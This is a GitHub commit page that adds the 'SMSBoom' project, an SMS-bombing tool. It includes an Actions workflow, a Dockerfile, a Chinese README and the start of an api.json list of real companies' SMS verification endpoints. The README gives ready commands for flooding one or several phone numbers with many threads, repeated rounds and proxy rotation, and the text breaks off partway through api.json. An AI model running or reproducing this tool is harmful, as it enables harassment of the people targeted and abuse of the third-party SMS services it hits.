mirror of
https://github.com/WhaleFell/SMSBoom.git
synced 2026-05-05 12:22:53 +08:00
proper repair smsboom
This commit is contained in:
29
.github/workflows/run.yaml
vendored
Executable file
29
.github/workflows/run.yaml
vendored
Executable file
@@ -0,0 +1,29 @@
|
|||||||
|
name: 🚀 Run SMSBoom in Action
|
||||||
|
|
||||||
|
# 触发 Action 的条件
|
||||||
|
on:
|
||||||
|
# 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule
|
||||||
|
# schedule:
|
||||||
|
# - cron: '30 5 * * 1,3'
|
||||||
|
# - cron: '30 5 * * 2,4'
|
||||||
|
# 手动触发
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
# 签出项目代码
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
# 设置 py3.8 环境
|
||||||
|
- name: 🚀 Set up Python 3.x
|
||||||
|
uses: actions/setup-python@v3
|
||||||
|
with:
|
||||||
|
python-version: '3.8'
|
||||||
|
|
||||||
|
- name: 🚀 Run SMSBoom Script
|
||||||
|
# 此处可以自定义命令行运行参数.替换手机号
|
||||||
|
run: |
|
||||||
|
pip3 install -r requirements.txt
|
||||||
|
python3 smsboom.py run -p ${{ secrets.NUMBER }} -t 32
|
||||||
164
.gitignore
vendored
Executable file
164
.gitignore
vendored
Executable file
@@ -0,0 +1,164 @@
|
|||||||
|
# owner
|
||||||
|
git-filter-repo.py
|
||||||
|
replacements.txt
|
||||||
|
# Byte-compiled / optimized / DLL files
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
# C extensions
|
||||||
|
*.so
|
||||||
|
|
||||||
|
# Distribution / packaging
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
develop-eggs/
|
||||||
|
dist/
|
||||||
|
downloads/
|
||||||
|
eggs/
|
||||||
|
.eggs/
|
||||||
|
lib/
|
||||||
|
lib64/
|
||||||
|
parts/
|
||||||
|
sdist/
|
||||||
|
var/
|
||||||
|
wheels/
|
||||||
|
share/python-wheels/
|
||||||
|
*.egg-info/
|
||||||
|
.installed.cfg
|
||||||
|
*.egg
|
||||||
|
MANIFEST
|
||||||
|
|
||||||
|
# PyInstaller
|
||||||
|
# Usually these files are written by a python script from a template
|
||||||
|
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||||
|
*.manifest
|
||||||
|
*.spec
|
||||||
|
|
||||||
|
# Installer logs
|
||||||
|
pip-log.txt
|
||||||
|
pip-delete-this-directory.txt
|
||||||
|
|
||||||
|
# Unit test / coverage reports
|
||||||
|
htmlcov/
|
||||||
|
.tox/
|
||||||
|
.nox/
|
||||||
|
.coverage
|
||||||
|
.coverage.*
|
||||||
|
.cache
|
||||||
|
nosetests.xml
|
||||||
|
coverage.xml
|
||||||
|
*.cover
|
||||||
|
*.py,cover
|
||||||
|
.hypothesis/
|
||||||
|
.pytest_cache/
|
||||||
|
cover/
|
||||||
|
|
||||||
|
# Translations
|
||||||
|
*.mo
|
||||||
|
*.pot
|
||||||
|
|
||||||
|
# Django stuff:
|
||||||
|
*.log
|
||||||
|
local_settings.py
|
||||||
|
db.sqlite3
|
||||||
|
db.sqlite3-journal
|
||||||
|
|
||||||
|
# Flask stuff:
|
||||||
|
instance/
|
||||||
|
.webassets-cache
|
||||||
|
|
||||||
|
# Scrapy stuff:
|
||||||
|
.scrapy
|
||||||
|
|
||||||
|
# Sphinx documentation
|
||||||
|
docs/_build/
|
||||||
|
|
||||||
|
# PyBuilder
|
||||||
|
.pybuilder/
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Jupyter Notebook
|
||||||
|
.ipynb_checkpoints
|
||||||
|
|
||||||
|
# IPython
|
||||||
|
profile_default/
|
||||||
|
ipython_config.py
|
||||||
|
|
||||||
|
# pyenv
|
||||||
|
# For a library or package, you might want to ignore these files since the code is
|
||||||
|
# intended to run in multiple environments; otherwise, check them in:
|
||||||
|
# .python-version
|
||||||
|
|
||||||
|
# pipenv
|
||||||
|
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||||
|
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||||
|
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||||
|
# install all needed dependencies.
|
||||||
|
#Pipfile.lock
|
||||||
|
|
||||||
|
# poetry
|
||||||
|
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||||
|
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||||
|
# commonly ignored for libraries.
|
||||||
|
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||||
|
#poetry.lock
|
||||||
|
|
||||||
|
# pdm
|
||||||
|
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||||
|
#pdm.lock
|
||||||
|
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||||
|
# in version control.
|
||||||
|
# https://pdm.fming.dev/#use-with-ide
|
||||||
|
.pdm.toml
|
||||||
|
|
||||||
|
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||||
|
__pypackages__/
|
||||||
|
|
||||||
|
# Celery stuff
|
||||||
|
celerybeat-schedule
|
||||||
|
celerybeat.pid
|
||||||
|
|
||||||
|
# SageMath parsed files
|
||||||
|
*.sage.py
|
||||||
|
|
||||||
|
# Environments
|
||||||
|
.env
|
||||||
|
.venv
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
env.bak/
|
||||||
|
venv.bak/
|
||||||
|
|
||||||
|
# Spyder project settings
|
||||||
|
.spyderproject
|
||||||
|
.spyproject
|
||||||
|
|
||||||
|
# Rope project settings
|
||||||
|
.ropeproject
|
||||||
|
|
||||||
|
# mkdocs documentation
|
||||||
|
/site
|
||||||
|
|
||||||
|
# mypy
|
||||||
|
.mypy_cache/
|
||||||
|
.dmypy.json
|
||||||
|
dmypy.json
|
||||||
|
|
||||||
|
# Pyre type checker
|
||||||
|
.pyre/
|
||||||
|
|
||||||
|
# pytype static type analyzer
|
||||||
|
.pytype/
|
||||||
|
|
||||||
|
# Cython debug symbols
|
||||||
|
cython_debug/
|
||||||
|
|
||||||
|
# PyCharm
|
||||||
|
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||||
|
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||||
|
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||||
|
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||||
|
.idea/
|
||||||
|
|
||||||
9
Dockerfile
Normal file
9
Dockerfile
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
FROM python:3.9-alpine
|
||||||
|
|
||||||
|
WORKDIR /src
|
||||||
|
|
||||||
|
COPY . ./
|
||||||
|
|
||||||
|
RUN pip install pipenv && pipenv install --deploy --ignore-pipfile
|
||||||
|
|
||||||
|
ENTRYPOINT ["pipenv", "run", "python", "smsboom.py"]
|
||||||
1020
GETAPI.json
Executable file
1020
GETAPI.json
Executable file
File diff suppressed because it is too large
Load Diff
201
LICENSE
Executable file
201
LICENSE
Executable file
@@ -0,0 +1,201 @@
|
|||||||
|
Apache License
|
||||||
|
Version 2.0, January 2004
|
||||||
|
http://www.apache.org/licenses/
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction,
|
||||||
|
and distribution as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by
|
||||||
|
the copyright owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all
|
||||||
|
other entities that control, are controlled by, or are under common
|
||||||
|
control with that entity. For the purposes of this definition,
|
||||||
|
"control" means (i) the power, direct or indirect, to cause the
|
||||||
|
direction or management of such entity, whether by contract or
|
||||||
|
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||||
|
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity
|
||||||
|
exercising permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications,
|
||||||
|
including but not limited to software source code, documentation
|
||||||
|
source, and configuration files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical
|
||||||
|
transformation or translation of a Source form, including but
|
||||||
|
not limited to compiled object code, generated documentation,
|
||||||
|
and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or
|
||||||
|
Object form, made available under the License, as indicated by a
|
||||||
|
copyright notice that is included in or attached to the work
|
||||||
|
(an example is provided in the Appendix below).
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object
|
||||||
|
form, that is based on (or derived from) the Work and for which the
|
||||||
|
editorial revisions, annotations, elaborations, or other modifications
|
||||||
|
represent, as a whole, an original work of authorship. For the purposes
|
||||||
|
of this License, Derivative Works shall not include works that remain
|
||||||
|
separable from, or merely link (or bind by name) to the interfaces of,
|
||||||
|
the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including
|
||||||
|
the original version of the Work and any modifications or additions
|
||||||
|
to that Work or Derivative Works thereof, that is intentionally
|
||||||
|
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||||
|
or by an individual or Legal Entity authorized to submit on behalf of
|
||||||
|
the copyright owner. For the purposes of this definition, "submitted"
|
||||||
|
means any form of electronic, verbal, or written communication sent
|
||||||
|
to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems,
|
||||||
|
and issue tracking systems that are managed by, or on behalf of, the
|
||||||
|
Licensor for the purpose of discussing and improving the Work, but
|
||||||
|
excluding communication that is conspicuously marked or otherwise
|
||||||
|
designated in writing by the copyright owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||||
|
on behalf of whom a Contribution has been received by Licensor and
|
||||||
|
subsequently incorporated within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
copyright license to reproduce, prepare Derivative Works of,
|
||||||
|
publicly display, publicly perform, sublicense, and distribute the
|
||||||
|
Work and such Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
(except as stated in this section) patent license to make, have made,
|
||||||
|
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||||
|
where such license applies only to those patent claims licensable
|
||||||
|
by such Contributor that are necessarily infringed by their
|
||||||
|
Contribution(s) alone or by combination of their Contribution(s)
|
||||||
|
with the Work to which such Contribution(s) was submitted. If You
|
||||||
|
institute patent litigation against any entity (including a
|
||||||
|
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||||
|
or a Contribution incorporated within the Work constitutes direct
|
||||||
|
or contributory patent infringement, then any patent licenses
|
||||||
|
granted to You under this License for that Work shall terminate
|
||||||
|
as of the date such litigation is filed.
|
||||||
|
|
||||||
|
4. Redistribution. You may reproduce and distribute copies of the
|
||||||
|
Work or Derivative Works thereof in any medium, with or without
|
||||||
|
modifications, and in Source or Object form, provided that You
|
||||||
|
meet the following conditions:
|
||||||
|
|
||||||
|
(a) You must give any other recipients of the Work or
|
||||||
|
Derivative Works a copy of this License; and
|
||||||
|
|
||||||
|
(b) You must cause any modified files to carry prominent notices
|
||||||
|
stating that You changed the files; and
|
||||||
|
|
||||||
|
(c) You must retain, in the Source form of any Derivative Works
|
||||||
|
that You distribute, all copyright, patent, trademark, and
|
||||||
|
attribution notices from the Source form of the Work,
|
||||||
|
excluding those notices that do not pertain to any part of
|
||||||
|
the Derivative Works; and
|
||||||
|
|
||||||
|
(d) If the Work includes a "NOTICE" text file as part of its
|
||||||
|
distribution, then any Derivative Works that You distribute must
|
||||||
|
include a readable copy of the attribution notices contained
|
||||||
|
within such NOTICE file, excluding those notices that do not
|
||||||
|
pertain to any part of the Derivative Works, in at least one
|
||||||
|
of the following places: within a NOTICE text file distributed
|
||||||
|
as part of the Derivative Works; within the Source form or
|
||||||
|
documentation, if provided along with the Derivative Works; or,
|
||||||
|
within a display generated by the Derivative Works, if and
|
||||||
|
wherever such third-party notices normally appear. The contents
|
||||||
|
of the NOTICE file are for informational purposes only and
|
||||||
|
do not modify the License. You may add Your own attribution
|
||||||
|
notices within Derivative Works that You distribute, alongside
|
||||||
|
or as an addendum to the NOTICE text from the Work, provided
|
||||||
|
that such additional attribution notices cannot be construed
|
||||||
|
as modifying the License.
|
||||||
|
|
||||||
|
You may add Your own copyright statement to Your modifications and
|
||||||
|
may provide additional or different license terms and conditions
|
||||||
|
for use, reproduction, or distribution of Your modifications, or
|
||||||
|
for any such Derivative Works as a whole, provided Your use,
|
||||||
|
reproduction, and distribution of the Work otherwise complies with
|
||||||
|
the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||||
|
any Contribution intentionally submitted for inclusion in the Work
|
||||||
|
by You to the Licensor shall be under the terms and conditions of
|
||||||
|
this License, without any additional terms or conditions.
|
||||||
|
Notwithstanding the above, nothing herein shall supersede or modify
|
||||||
|
the terms of any separate license agreement you may have executed
|
||||||
|
with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks. This License does not grant permission to use the trade
|
||||||
|
names, trademarks, service marks, or product names of the Licensor,
|
||||||
|
except as required for reasonable and customary use in describing the
|
||||||
|
origin of the Work and reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||||
|
agreed to in writing, Licensor provides the Work (and each
|
||||||
|
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||||
|
implied, including, without limitation, any warranties or conditions
|
||||||
|
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||||
|
appropriateness of using or redistributing the Work and assume any
|
||||||
|
risks associated with Your exercise of permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability. In no event and under no legal theory,
|
||||||
|
whether in tort (including negligence), contract, or otherwise,
|
||||||
|
unless required by applicable law (such as deliberate and grossly
|
||||||
|
negligent acts) or agreed to in writing, shall any Contributor be
|
||||||
|
liable to You for damages, including any direct, indirect, special,
|
||||||
|
incidental, or consequential damages of any character arising as a
|
||||||
|
result of this License or out of the use or inability to use the
|
||||||
|
Work (including but not limited to damages for loss of goodwill,
|
||||||
|
work stoppage, computer failure or malfunction, or any and all
|
||||||
|
other commercial damages or losses), even if such Contributor
|
||||||
|
has been advised of the possibility of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability. While redistributing
|
||||||
|
the Work or Derivative Works thereof, You may choose to offer,
|
||||||
|
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||||
|
or other liability obligations and/or rights consistent with this
|
||||||
|
License. However, in accepting such obligations, You may act only
|
||||||
|
on Your own behalf and on Your sole responsibility, not on behalf
|
||||||
|
of any other Contributor, and only if You agree to indemnify,
|
||||||
|
defend, and hold each Contributor harmless for any liability
|
||||||
|
incurred by, or claims asserted against, such Contributor by reason
|
||||||
|
of your accepting any such warranty or additional liability.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work.
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following
|
||||||
|
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||||
|
replaced with your own identifying information. (Don't include
|
||||||
|
the brackets!) The text should be enclosed in the appropriate
|
||||||
|
comment syntax for the file format. We also recommend that a
|
||||||
|
file or class name and description of purpose be included on the
|
||||||
|
same "printed page" as the copyright notice for easier
|
||||||
|
identification within third-party archives.
|
||||||
|
|
||||||
|
Copyright 2022 WhaleFall
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
242
README.md
Normal file
242
README.md
Normal file
@@ -0,0 +1,242 @@
|
|||||||
|
# SMSBoom - Repair 重制版
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 免责声明
|
||||||
|
|
||||||
|
1. 使用此程序请遵守当地的法律法规,禁止滥用、恶意使用,**触犯法律所造成的问题均由使用者承担**。
|
||||||
|
2. 本程序仅供娱乐,源码全部开源,**禁止滥用** 和二次 **禁止用于商业用途**.
|
||||||
|
|
||||||
|
## Repair - TODO
|
||||||
|
|
||||||
|
1. 修改文档
|
||||||
|
2. 修缮主要功能
|
||||||
|
3. 修缮后端使用 FastAPI 前端使用 vue3 elementUI
|
||||||
|
4. GUI 使用 web 技术
|
||||||
|
|
||||||
|
## Feature
|
||||||
|
|
||||||
|
1. 通过自定义 `api.json` 的方式定义接口.
|
||||||
|
2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]`
|
||||||
|
3. 多线程/异步 请求.
|
||||||
|
4. 通过 Flask 提供网页测试/添加接口.
|
||||||
|
5. 友好的命令行参数支持.
|
||||||
|
6. 采用方便的 pipenv 包管理.
|
||||||
|
7. 通过代理调用短信接口, 支持 http, socks4, socks5代理.
|
||||||
|
8. 使用随机的 User-Agent.
|
||||||
|
9. 可指定轰炸次数, 轰炸间隔时间.
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### 适用于小白
|
||||||
|
|
||||||
|
✨本项目已经使用 `pyinstaller` 打包成 `EXE` 可执行文件!免去部署 Python 环境的烦恼,适合用于小白白.
|
||||||
|
|
||||||
|
🔨作者的打包环境为: `Windows 10 x64 Python3.8` 如果 Windows 系统不是 **Windows 10 64位** 版本,**可能会运行失败**! 如果出现异常报错请截图发 Issue.
|
||||||
|
|
||||||
|
#### Step1. 下载 EXE 可执行文件
|
||||||
|
|
||||||
|
请移步到项目的 [release页](https://github.com/OpenEthan/SMSBoom/releases) 下载
|
||||||
|
|
||||||
|
> 若遇到国内网络环境下载不下来,请参见 [https://github.do/](https://github.do/) 等加速镜像.
|
||||||
|
|
||||||
|
#### Step2 运行
|
||||||
|
|
||||||
|
1. 在任意盘(**除C盘外**)中新建一个文件夹.将程序移动到其中. e.g.
|
||||||
|

|
||||||
|
|
||||||
|
2. `Win`+`R` 打开cmd.输入存放的盘符.例如: `E:` 然后cd到文件夹,例如 `cd SMS`
|
||||||
|

|
||||||
|
|
||||||
|
3. 确认 cmd 路径是 EXE 所在路径后,cmd 输入:`smsboom_pyinstall.exe`,若出现命令提示,则说明脚本已正常运行.
|
||||||
|

|
||||||
|
|
||||||
|
4. 使用前必须更新一遍最新接口
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe update
|
||||||
|
```
|
||||||
|
|
||||||
|
> 若更新接口出现错误 `ssl_`, 请参见 [issue](https://github.com/OpenEthan/SMSBoom/issues/2) **关闭代理软件**再 update.
|
||||||
|
|
||||||
|
5. 传递命令示例
|
||||||
|
|
||||||
|
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx
|
||||||
|
```
|
||||||
|
|
||||||
|
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60
|
||||||
|
```
|
||||||
|
|
||||||
|
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30
|
||||||
|
```
|
||||||
|
|
||||||
|
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e
|
||||||
|
```
|
||||||
|
|
||||||
|
启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸
|
||||||
|
|
||||||
|
```shell
|
||||||
|
smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e
|
||||||
|
```
|
||||||
|
|
||||||
|
### Development
|
||||||
|
|
||||||
|
1. Download 下载项目
|
||||||
|
|
||||||
|
```shell
|
||||||
|
git clone https://github.com/AdminWhaleFall/SMSBoom.git/
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 配置虚拟环境 Deploy Virtual Envirement
|
||||||
|
|
||||||
|
**前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上!
|
||||||
|
|
||||||
|
#### 使用 pipenv
|
||||||
|
|
||||||
|
1. 安装 pipenv 包管理工具.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
pip install pipenv
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 为项目构建虚拟环境.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
pipenv install # 仅使用轰//炸功能
|
||||||
|
pipenv install --dev # 使用 webui 调试接口功能.
|
||||||
|
```
|
||||||
|
|
||||||
|
3. 尝试运行 smsboom.py
|
||||||
|
|
||||||
|
```shell
|
||||||
|
pipenv shell # 激活虚拟环境
|
||||||
|
python smsboom.py # linux
|
||||||
|
```
|
||||||
|
|
||||||
|
若无报错,输出帮助信息,则说明环境已经正确安装。若报错请使用方案二
|
||||||
|
|
||||||
|
#### 不使用虚拟环境
|
||||||
|
|
||||||
|
1. 安装所需要的库
|
||||||
|
|
||||||
|
```shell
|
||||||
|
pip install -r requirements.txt # 仅使用轰//炸
|
||||||
|
pip install -r requirements-dev.txt # 使用 webui
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 尝试运行 smsboom.py
|
||||||
|
|
||||||
|
```shell
|
||||||
|
python smsboom.py
|
||||||
|
```
|
||||||
|
|
||||||
|
若无报错,输出帮助信息,则说明环境已经正确安装。
|
||||||
|
|
||||||
|
#### 使用 Docker 运行
|
||||||
|
|
||||||
|
##### 方式一: 一键运行
|
||||||
|
|
||||||
|
```shell
|
||||||
|
docker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1
|
||||||
|
```
|
||||||
|
|
||||||
|
##### 方式二: 自建镜像
|
||||||
|
|
||||||
|
**前提条件:** 请确保当前环境已安装 [Docker](https://docs.docker.com/get-docker/).
|
||||||
|
|
||||||
|
1. 构建镜像
|
||||||
|
|
||||||
|
```shell
|
||||||
|
docker build -t whalefell/smsboom .
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 尝试运行
|
||||||
|
|
||||||
|
```shell
|
||||||
|
docker run --rm whalefell/smsboom:latest --help
|
||||||
|
|
||||||
|
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
|
||||||
|
|
||||||
|
Options:
|
||||||
|
--help Show this message and exit.
|
||||||
|
|
||||||
|
Commands:
|
||||||
|
asyncrun 以最快的方式请求接口(真异步百万并发)
|
||||||
|
onerun 单线程(测试使用)
|
||||||
|
run 传入线程数和手机号启动轰炸,支持多手机号
|
||||||
|
update 从 github 获取最新接口
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 运行
|
||||||
|
|
||||||
|
若使用虚拟环境,请先激活. `pipenv shell`
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# 输出帮助信息
|
||||||
|
python smsboom.py --help
|
||||||
|
|
||||||
|
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
|
||||||
|
Options:
|
||||||
|
--help Show this message and exit.
|
||||||
|
Commands:
|
||||||
|
run 传入线程数和手机号启动轰//炸,支持多手机号
|
||||||
|
update 从 github 获取最新接口
|
||||||
|
```
|
||||||
|
|
||||||
|
- 启动轰//炸
|
||||||
|
|
||||||
|
帮助信息:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
python smsboom.py run --help
|
||||||
|
|
||||||
|
Usage: smsboom.py run [OPTIONS]
|
||||||
|
|
||||||
|
传入线程数和手机号启动轰//炸,支持多手机号
|
||||||
|
|
||||||
|
Options:
|
||||||
|
-t, --thread INTEGER 线程数(默认64)
|
||||||
|
-p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
|
||||||
|
-f, --frequency INTEGER 执行次数(默认1次)
|
||||||
|
-i, --interval INTEGER 间隔时间(默认60s)
|
||||||
|
-e, --enable_proxy BOOLEAN 开启代理(默认关闭)
|
||||||
|
--help Show this message and exit.
|
||||||
|
```
|
||||||
|
|
||||||
|
### 使用代理
|
||||||
|
|
||||||
|
本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理.
|
||||||
|
|
||||||
|
> [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list)
|
||||||
|
|
||||||
|
> [https://openproxy.space/list](https://openproxy.space/list)
|
||||||
|
|
||||||
|
将代理添加到 `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt` 三个文件中, 命令参数添加 `-e` 执行即可.
|
||||||
|
|
||||||
|
|
||||||
|
## Donation / Sponsor
|
||||||
|
|
||||||
|
Donation is not available at the moment.
|
||||||
|
暂时不开放赞助
|
||||||
|
|
||||||
|
## Star ♥ 趋势图
|
||||||
|
|
||||||
|
<img src="https://starchart.cc/OpenEthan/smsboom.svg">
|
||||||
|
|
||||||
|
## ✨Discussion
|
||||||
|
|
||||||
|
欢迎加入讨论对项目提出问题和建议!!!mua!
|
||||||
820
api.json
Executable file
820
api.json
Executable file
@@ -0,0 +1,820 @@
|
|||||||
|
[
|
||||||
|
{
|
||||||
|
"desc": "福州久邻信息",
|
||||||
|
"url": "https://yjhi.jihesh.com/api/app/code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Content-Type": "application/json;charset=utf-8"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"token": "",
|
||||||
|
"platform": "APP",
|
||||||
|
"lang": "zh-CN",
|
||||||
|
"phone": "[phone]",
|
||||||
|
"event": "reg"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "卡饭信息安全",
|
||||||
|
"url": "https://pdf.kfsafe.cn/sms/phone/code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Content-Type": "application/json;charset=utf-8"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "彩云小译",
|
||||||
|
"url": "https://biz.caiyunapp.com/v1/send_sms_code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Referer": "https://fanyi.caiyunapp.com/",
|
||||||
|
"Cy-Token": "token 9876032166"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"phone_num": "[phone]",
|
||||||
|
"area_code": "86"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "网易云游戏",
|
||||||
|
"url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"etc": {
|
||||||
|
"validate": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "果壳app",
|
||||||
|
"url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"User-Agent": "android 2.0.15",
|
||||||
|
"Client-Source": "android;23;Android;MuMu",
|
||||||
|
"Client-Channel": "gkchannel_QD009",
|
||||||
|
"Content-Type": "application/json; charset=UTF-8"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"dial_code": "0086",
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "踢米app",
|
||||||
|
"url": "https://www.timing360.com/user/send-captcha",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Authorization": "7119181942667E7D85987C65A6D0B8EC",
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded"
|
||||||
|
},
|
||||||
|
